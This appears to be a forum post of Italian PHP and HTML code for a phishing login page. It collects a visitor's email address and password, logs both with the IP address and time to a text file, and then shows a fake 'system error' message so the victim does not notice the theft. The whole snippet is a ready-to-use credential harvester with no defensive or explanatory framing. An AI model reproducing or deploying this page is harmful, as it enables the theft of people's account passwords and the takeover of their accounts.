Codice PHP:
<?php
include "colori.php" ;
include "config.php" ;
if(isset($_POST['submit'])){
$email = Strip_Tags($_POST['email']);
$pwd = Strip_Tags($_POST['nick']);
$ip = $_POST['ip'];
$data = date('j/n/y - H:i') ;
$dati_file = "risultato.txt";
// |
$riga_messaggio = "$pwd|$email|$data|$ip";
$riga_messaggio = str_replace("\n","<BR>",$riga_messaggio);
$riga_messaggio = stripslashes($riga_messaggio);
$riga_messaggio .= "\n";
$fp = fopen($dati_file, "a");
if(!$fp) {
echo "Errore!";
exit;
}
$fw = fwrite($fp, $riga_messaggio);
$fc = fclose($fp);
echo "<b>Errore di sistema!!<br></b>";
}
?>
<html>
<head>
<title>prova</title>
<?php include "stile.inc" ;?>
<body>
<p></p>
<p></p>
<div align="center">
<p></p>
<p></p>
<p></p>
<p>
<div align="center">
<div align="center">
<h3> </h3>
<br><br>
<form name="form" method="post" action="<?php echo $_SERVER['PHP_SELF']; ?> ">
<p></p>
<p></p>
<table>
<tr>
<td><b>Indirizzo Email:</b></td>
<td><input type="text" name="email" value="" size=25></td>
</tr>
<tr>
<td><b>Password:</b></td>
<td><input type="password" name="nick" size=25></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td>
<h5></h5>
</td>
<input name="ip" type="hidden" value="<?php echo $_SERVER['REMOTE_ADDR']; ?>">
<td align=right>
<p align="center"><input type="submit" name="submit" value="Invia" id="bottoni"></p>
</td>
</tr>
</table>
</form>
<h4></a></h4>
</div>
</div>
</p>
</div>
<?php
echo "<div id='copy'> prova</div>";
?>
</body>
</html>